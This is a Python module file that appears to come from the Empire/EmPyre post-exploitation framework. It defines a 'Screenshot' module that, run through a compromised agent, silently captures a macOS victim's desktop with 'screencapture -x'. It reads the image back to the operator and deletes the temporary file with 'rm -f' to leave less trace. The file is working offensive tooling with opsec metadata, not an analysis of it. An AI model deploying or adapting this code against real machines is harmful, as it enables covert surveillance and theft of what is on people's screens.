Files
2017-09-21 22:59:08 -04:00

87 lines
2.9 KiB
Python

class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Screenshot',
# list of one or more authors for the module
'Author': ['@harmj0y'],
# more verbose multi-line description of the module
'Description': ('Takes a screenshot of an OSX desktop using screencapture and returns the data.'),
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
'OutputExtension': "png",
# if the module needs administrative privileges
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'SavePath': {
'Description' : 'Path of the temporary screenshot file to save.',
'Required' : True,
'Value' : '/tmp/out.png'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
savePath = self.options['SavePath']['Value']
script = """
# take a screenshot using screencapture
run_command('screencapture -x %s')
# base64 up resulting file, delete the file, return the base64 of the png output
# mocked from the Empire screenshot module
f = open('%s', 'rb')
data = f.read()
f.close()
run_command('rm -f %s')
print data
""" % (savePath, savePath, savePath)
return script